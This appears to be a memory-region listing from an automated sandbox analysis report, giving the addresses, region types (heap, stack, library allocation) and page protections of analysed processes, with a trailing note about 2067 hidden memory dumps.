heap
page read and write
45903CE000
stack
page read and write
86B0000
unkown
page readonly
8150000
unkown
page read and write
7FF530437000
unkown
page readonly
23BF6B4F000
heap
page read and write
7FF5304AA000
unkown
page readonly
7FF5307EF000
unkown
page readonly
7FF5307A6000
unkown
page readonly
3082000
unkown
page read and write
948A000
unkown
page read and write
B40000
unkown
page read and write
23BF6D53000
heap
page read and write
458F6FB000
stack
page read and write
458F27E000
stack
page read and write
309A000
unkown
page read and write
B620000
unkown
page read and write
7FF53084E000
unkown
page readonly
9495000
unkown
page read and write
22DA8799000
heap
page read and write
8140000
unkown
page read and write
7FF7C1320000
trusted library allocation
page read and write
9499000
unkown
page read and write
7FF53057E000
unkown
page readonly
8730000
unkown
page read and write
7FF530530000
unkown
page readonly
22DA68D3000
heap
page read and write
70CE000
unkown
page read and write
B40000
unkown
page read and write
7FF530346000
unkown
page readonly
23BE00AF000
trusted library allocation
page read and write
7FF53051E000
unkown
page readonly
22DA879C000
heap
page read and write
9B60000
unkown
page read and write
8470000
unkown
page read and write
9B60000
unkown
page read and write
22DA87AF000
heap
page read and write
4420000
unkown
page read and write
3046000
unkown
page read and write
4430000
unkown
page read and write
744B000
stack
page read and write
D18F000
unkown
page read and write
2490000
unkown
page read and write
8140000
unkown
page read and write
8160000
unkown
page read and write
7FF530892000
unkown
page readonly
22DA8731000
heap
page read and write
1F0000
heap
page read and write
D2E5000
unkown
page read and write
8730000
unkown
page read and write
22DA893B000
heap
page read and write
23BEEA91000
trusted library allocation
page read and write
22DA8724000
heap
page read and write
4307000
unkown
page read and write
2EB0000
unkown
page readonly
AF2E000
stack
page read and write
AA7E000
stack
page read and write
216F000
stack
page read and write
22DA68AF000
heap
page read and write
7FF53041E000
unkown
page readonly
B40000
unkown
page read and write
22DA8648000
heap
page read and write
7FF530280000
unkown
page readonly
7FF5302A1000
unkown
page readonly
8730000
unkown
page read and write
22DA68A5000
heap
page read and write
E98E000
unkown
page read and write
957B000
unkown
page read and write
8160000
unkown
page read and write
590000
unkown
page readonly
D5DD000
unkown
page read and write
7FF5304D8000
unkown
page readonly
22DA8700000
heap
page read and write
400000
unkown
page execute and read and write
7FF53053A000
unkown
page readonly
9E97000
unkown
page read and write
22DA67E0000
heap
page read and write
8730000
unkown
page read and write
9CF8000
unkown
page read and write
22DA6898000
heap
page read and write
22DA68D3000
heap
page read and write
23BDCBF9000
heap
page read and write
8730000
unkown
page read and write
2BF0000
unkown
page readonly
D2AE000
unkown
page read and write
2EA0000
unkown
page readonly
EC70000
heap
page read and write
22DA8670000
heap
page read and write
22DA87B8000
heap
page read and write
D36B000
unkown
page read and write
23BDCA30000
heap
page read and write
9730000
unkown
page read and write
7FF530985000
unkown
page readonly
B60000
unkown
page read and write
95B9000
unkown
page read and write
CFAA000
unkown
page read and write
22DA8952000
heap
page read and write
7FF5306FB000
unkown
page readonly
4D31000
unkown
page read and write
22DA87FE000
heap
page read and write
EDF0000
heap
page read and write
22DA87B8000
heap
page read and write
10154000
unkown
page read and write
7FF530A4F000
unkown
page readonly
E54E000
stack
page read and write
22DA87B2000
heap
page read and write
8470000
unkown
page read and write
7FF530447000
unkown
page readonly
7FF53050B000
unkown
page readonly
458F2FE000
stack
page read and write
23BDE5E7000
heap
page read and write
E9AF000
unkown
page read and write
2490000
unkown
page read and write
D11A000
unkown
page read and write
22DA8674000
heap
page read and write
8730000
unkown
page read and write
2490000
unkown
page read and write
7FF5307D0000
unkown
page readonly
8140000
unkown
page read and write
D47A000
unkown
page read and write
22DA8794000
heap
page read and write
8470000
unkown
page read and write
458EFDE000
stack
page read and write
8730000
unkown
page read and write
6DB0000
unkown
page read and write
D18F000
unkown
page read and write
988C000
stack
page read and write
22DA87B4000
heap
page read and write
2490000
unkown
page read and write
23BF6A90000
heap
page read and write
B40000
unkown
page read and write
9E07000
unkown
page read and write
8470000
unkown
page read and write
22DA8700000
heap
page read and write
B40000
unkown
page read and write
438E000
unkown
page read and write
301A000
unkown
page read and write
A48F000
unkown
page read and write
D5E3000
unkown
page read and write
9CD6000
unkown
page read and write
22DA87AF000
heap
page read and write
952D000
unkown
page read and write
9519000
unkown
page read and write
E992000
unkown
page read and write
2D40000
unkown
page read and write
94AD000
unkown
page read and write
7FF5303E0000
unkown
page readonly
22DA86BC000
heap
page read and write
8160000
unkown
page read and write
7FF5304E9000
unkown
page readonly
D161000
unkown
page read and write
22DA87AD000
heap
page read and write
8160000
unkown
page read and write
22DA685F000
heap
page read and write
D2A5000
unkown
page read and write
8150000
unkown
page read and write
7FF5308D3000
unkown
page readonly
7FF5309E2000
unkown
page readonly
4450000
unkown
page read and write
4430000
unkown
page read and write
7FF530917000
unkown
page readonly
8730000
unkown
page read and write
8E7A000
stack
page read and write
3057000
unkown
page read and write
2BD8000
stack
page read and write
8730000
unkown
page read and write
9492000
unkown
page read and write
29D8000
stack
page read and write
7FF530989000
unkown
page readonly
D46D000
unkown
page read and write
B620000
unkown
page read and write
2490000
unkown
page read and write
8160000
unkown
page read and write
22DA87B2000
heap
page read and write
7FF5309E6000
unkown
page readonly
23BF6DDB000
heap
page read and write
E01D000
stack
page read and write
B40000
unkown
page read and write
B40000
unkown
page read and write
7FF5307A1000
unkown
page readonly
7FF5303DB000
unkown
page readonly
91B000
heap
page read and write
7FF53093F000
unkown
page readonly
2490000
unkown
page read and write
CFF4000
unkown
page read and write
7FF5304E6000
unkown
page readonly
22DA8670000
heap
page read and write
B40000
unkown
page read and write
952D000
unkown
page read and write
7FF5309E2000
unkown
page readonly
22DA86D4000
heap
page read and write
7FF5305D3000
unkown
page readonly
22DA8713000
heap
page read and write
7FF530609000
unkown
page readonly
706DAFF000
stack
page read and write
8730000
unkown
page read and write
6F74000
unkown
page read and write
B150000
unkown
page read and write
9D34000
unkown
page read and write
7FF5304E9000
unkown
page readonly
8470000
unkown
page read and write
8730000
unkown
page read and write
7FF530A65000
unkown
page readonly
309E000
unkown
page read and write
8730000
unkown
page read and write
EC72000
heap
page read and write
7FF5303DD000
unkown
page readonly
2490000
unkown
page read and write
459044D000
stack
page read and write
7FF53079E000
unkown
page readonly
9C9D000
stack
page read and write
94CA000
unkown
page read and write
2490000
unkown
page read and write
7FF52FDCC000
unkown
page readonly
3014000
unkown
page read and write
D2A1000
unkown
page read and write
B40000
unkown
page read and write
B40000
unkown
page read and write
A420000
unkown
page read and write
22DA8770000
heap
page read and write
2490000
unkown
page read and write
2490000
unkown
page read and write
E32F000
stack
page read and write
9E38000
unkown
page read and write
7FF530437000
unkown
page readonly
22DA68DE000
heap
page read and write
8730000
unkown
page read and write
9E97000
unkown
page read and write
9D56000
unkown
page read and write
70DB000
unkown
page read and write
7FF5305C2000
unkown
page readonly
D50E000
unkown
page read and write
8730000
unkown
page read and write
6D90000
unkown
page read and write
7FF530961000
unkown
page readonly
22DA68B7000
heap
page read and write
B40000
unkown
page read and write
988C000
stack
page read and write
7FF5304A0000
unkown
page readonly
7FF530819000
unkown
page readonly
7FF530651000
unkown
page readonly
4300000
unkown
page read and write
7FF53071C000
unkown
page readonly
7FF530952000
unkown
page readonly
7FF530A81000
unkown
page readonly
3039000
unkown
page read and write
4392000
unkown
page read and write
7FF530447000
unkown
page readonly
22DA87B8000
heap
page read and write
437A000
unkown
page read and write
41C000
unkown
page write copy
7FF5309FB000
unkown
page readonly
7FF7C1520000
trusted library allocation
page read and write
9004000
unkown
page read and write
7FF530980000
unkown
page readonly
22DA686C000
heap
page read and write
7FF53044A000
unkown
page readonly
3093000
unkown
page read and write
A488000
unkown
page read and write
22DA6AC0000
heap
page read and write
2490000
unkown
page read and write
9CC6000
unkown
page read and write
957D000
unkown
page read and write
2490000
unkown
page read and write
8730000
unkown
page read and write
AE1B000
stack
page read and write
B40000
unkown
page read and write
8640000
unkown
page read and write
23F0000
heap
page read and write
7FF5309C3000
unkown
page readonly
22DA689C000
heap
page read and write
7FF530961000
unkown
page readonly
7FF530651000
unkown
page readonly
8160000
unkown
page read and write
8DE000
heap
page read and write
8730000
unkown
page read and write
7390000
unkown
page read and write
9597000
unkown
page read and write
7FF5309F0000
unkown
page readonly
7FF530408000
unkown
page readonly
7FF530A0E000
unkown
page readonly
2B59000
stack
page read and write
6F8D000
unkown
page read and write
7FF7C1330000
trusted library allocation
page execute and read and write
863B000
stack
page read and write
7FF53058B000
unkown
page readonly
7FF5309C3000
unkown
page readonly
22DA87AF000
heap
page read and write
7690000
unkown
page read and write
D198000
unkown
page read and write
8730000
unkown
page read and write
9579000
unkown
page read and write
7FF53046F000
unkown
page readonly
7FF530A48000
unkown
page readonly
8140000
unkown
page read and write
2490000
unkown
page read and write
D46D000
unkown
page read and write
22DA8687000
heap
page read and write
86B0000
unkown
page readonly
3025000
unkown
page read and write
7270000
unkown
page read and write
9004000
unkown
page read and write
D3FD000
unkown
page read and write
7609000
stack
page read and write
CFA0000
unkown
page read and write
7FF5305D3000
unkown
page readonly
22DA8691000
heap
page read and write
2FA0000
unkown
page read and write
2490000
unkown
page read and write
7FF5309D7000
unkown
page readonly
7460000
unkown
page read and write
9C18000
stack
page read and write
7FF530734000
unkown
page readonly
8730000
unkown
page read and write
8490000
system
page read and write
7FF5309C9000
unkown
page readonly
7DF44D861000
unkown
page execute read
79C1000
unkown
page read and write
70C9000
unkown
page read and write
7B00000
unkown
page read and write
7FF530A60000
unkown
page readonly
22DA8670000
heap
page read and write
22DA86BC000
heap
page read and write
A4DA000
unkown
page read and write
D155000
unkown
page read and write
22DA8731000
heap
page read and write
7FF5307EF000
unkown
page readonly
9CC2000
unkown
page read and write
976A000
unkown
page read and write
7FF5309B9000
unkown
page readonly
CF0000
unkown
page readonly
458F37C000
stack
page read and write
6F6D000
unkown
page read and write
E950000
unkown
page read and write
7FF5307A6000
unkown
page readonly
22DA86DC000
heap
page read and write
A4DA000
unkown
page read and write
22DA8792000
heap
page read and write
23BF6C70000
heap
page read and write
94B9000
unkown
page read and write
22DA8647000
heap
page read and write
D2A5000
unkown
page read and write
22DA68D3000
heap
page read and write
8470000
unkown
page read and write
8730000
unkown
page read and write
6F94000
unkown
page read and write
AAFE000
stack
page read and write
7FF530417000
unkown
page readonly
22DA87B8000
heap
page read and write
7FF530A33000
unkown
page readonly
458F97B000
stack
page read and write
7FF53093F000
unkown
page readonly
9D58000
unkown
page read and write
7380000
unkown
page read and write
2FE5000
unkown
page read and write
8A10000
unkown
page read and write
8150000
unkown
page read and write
22DA868B000
heap
page read and write
7FF530582000
unkown
page readonly
3037000
unkown
page read and write
22DA8937000
heap
page read and write
94B5000
unkown
page read and write
7FF530413000
unkown
page readonly
D5DD000
unkown
page read and write
9E36000
unkown
page read and write
8730000
unkown
page read and write
7FF5307E8000
unkown
page readonly
947B000
unkown
page read and write
7FF530833000
unkown
page readonly
B40000
unkown
page read and write
D61B000
unkown
page read and write
D11A000
unkown
page read and write
B40000
unkown
page read and write
458F4FE000
stack
page read and write
7B00000
unkown
page read and write
23BDCD80000
heap
page read and write
2490000
unkown
page read and write
9E2D000
unkown
page read and write
7C40000
unkown
page read and write
9C000
stack
page read and write
D2B8000
unkown
page read and write
7FF52FE0C000
unkown
page readonly
3046000
unkown
page read and write
2490000
unkown
page read and write
23BDCC39000
heap
page read and write
B130000
unkown
page read and write
2E09000
stack
page read and write
700000
heap
page read and write
22DA87AD000
heap
page read and write
2D50000
unkown
page readonly
9D16000
unkown
page read and write
7DF44D871000
unkown
page execute read
7FF5309D7000
unkown
page readonly
515000
unkown
page readonly
7FF53094D000
unkown
page readonly
7FF53082E000
unkown
page readonly
7D0000
heap
page read and write
8470000
unkown
page read and write
3093000
unkown
page read and write
8730000
unkown
page read and write
8CF9000
stack
page read and write
9A1F000
stack
page read and write
7FF7C14B0000
trusted library allocation
page read and write
8470000
unkown
page read and write
22DA86D6000
heap
page read and write
7FF5302AA000
unkown
page readonly
D2B0000
unkown
page read and write
980000
heap
page read and write
94AF000
unkown
page read and write
7AF0000
unkown
page readonly
8470000
unkown
page read and write
600000
heap
page read and write
7FF53088E000
unkown
page readonly
6F74000
unkown
page read and write
7FF52FD2D000
unkown
page readonly
3057000
unkown
page read and write
7AE000
stack
page read and write
D2A1000
unkown
page read and write
B40000
unkown
page read and write
6F7E000
unkown
page read and write
7FF7C1273000
trusted library allocation
page execute and read and write
23BDCC76000
heap
page read and write
7FF53086D000
unkown
page readonly
7FF53058B000
unkown
page readonly
22DA68AF000
heap
page read and write
4356000
unkown
page read and write
25C0000
heap
page read and write
B11000
unkown
page read and write
100D3000
unkown
page read and write
B40000
unkown
page read and write
7FF5306FE000
unkown
page readonly
CF20000
unkown
page read and write
D198000
unkown
page read and write
D494000
unkown
page read and write
94A9000
unkown
page read and write
AE20000
unkown
page read and write
22DA68D3000
heap
page read and write
4460000
unkown
page read and write
B40000
unkown
page read and write
8160000
unkown
page read and write
7FF53051E000
unkown
page readonly
6F63000
unkown
page read and write
22DA87B4000
heap
page read and write
7FF7C1280000
trusted library allocation
page read and write
7FF53096C000
unkown
page readonly
758A000
stack
page read and write
22DA866E000
heap
page read and write
22DA68D1000
heap
page read and write
7FF530A6E000
unkown
page readonly
D155000
unkown
page read and write
7FF7C1410000
trusted library allocation
page read and write
7FF530A7B000
unkown
page readonly
B40000
unkown
page read and write
22DA8641000
heap
page read and write
7FF5305BB000
unkown
page readonly
7FF530A11000
unkown
page readonly
7FF5309B1000
unkown
page readonly
CFA7000
unkown
page read and write
7FF7C1540000
trusted library allocation
page read and write
22DA87B2000
heap
page read and write
22DA68BD000
heap
page read and write
B40000
unkown
page read and write
8730000
unkown
page read and write
419000
unkown
page readonly
2490000
unkown
page read and write
B40000
unkown
page read and write
22DA8801000
heap
page read and write
B40000
unkown
page read and write
22DA8693000
heap
page read and write
7FF53034E000
unkown
page readonly
7FF5309D5000
unkown
page readonly
B40000
unkown
page read and write
9B80000
unkown
page read and write
B40000
unkown
page read and write
7689000
stack
page read and write
D5D7000
unkown
page read and write
2490000
unkown
page read and write
7FF530A0E000
unkown
page readonly
D63A000
unkown
page read and write
D2AE000
unkown
page read and write
2490000
unkown
page read and write
9CD6000
unkown
page read and write
980000
heap
page read and write
CC0000
unkown
page read and write
957D000
unkown
page read and write
D2ED000
unkown
page read and write
308A000
unkown
page read and write
7FF530871000
unkown
page readonly
22DA863F000
heap
page read and write
D2ED000
unkown
page read and write
68E000
stack
page read and write
A483000
unkown
page read and write
8730000
unkown
page read and write
22DA87FE000
heap
page read and write
B40000
unkown
page read and write
7DF44D871000
unkown
page execute read
8730000
unkown
page read and write
7FF530346000
unkown
page readonly
7DF44D880000
unkown
page readonly
22DA86D6000
heap
page read and write
D5DE000
unkown
page read and write
8160000
unkown
page read and write
7FF5306FB000
unkown
page readonly
2490000
unkown
page read and write
7DF44D870000
unkown
page readonly
D47A000
unkown
page read and write
D432000
unkown
page read and write
22DA8647000
heap
page read and write
23BE06C1000
trusted library allocation
page read and write
BF0000
unkown
page read and write
419000
unkown
page readonly
D18F000
unkown
page read and write
70AD000
unkown
page read and write
580000
unkown
page readonly
22DA685B000
heap
page read and write
22DA86DC000
heap
page read and write
7849000
stack
page read and write
7FF530946000
unkown
page readonly
22DA8757000
heap
page read and write
23BDCCF0000
trusted library allocation
page read and write
7FF5301FB000
unkown
page readonly
9E38000
unkown
page read and write
2490000
unkown
page read and write
A48B000
unkown
page read and write
8730000
unkown
page read and write
7FF5305BB000
unkown
page readonly
22DA8644000
heap
page read and write
100D3000
unkown
page read and write
70AD000
unkown
page read and write
8160000
unkown
page read and write
8730000
unkown
page read and write
D81F000
stack
page read and write
7FF5309E6000
unkown
page readonly
22DA8950000
heap
page read and write
22DA87AB000
heap
page read and write
3039000
unkown
page read and write
E9AF000
unkown
page read and write
22DA8778000
heap
page read and write
7FF7C127D000
trusted library allocation
page execute and read and write
2290000
heap
page read and write
8730000
unkown
page read and write
2490000
unkown
page read and write
There are 2067 hidden memdumps, click here to show them.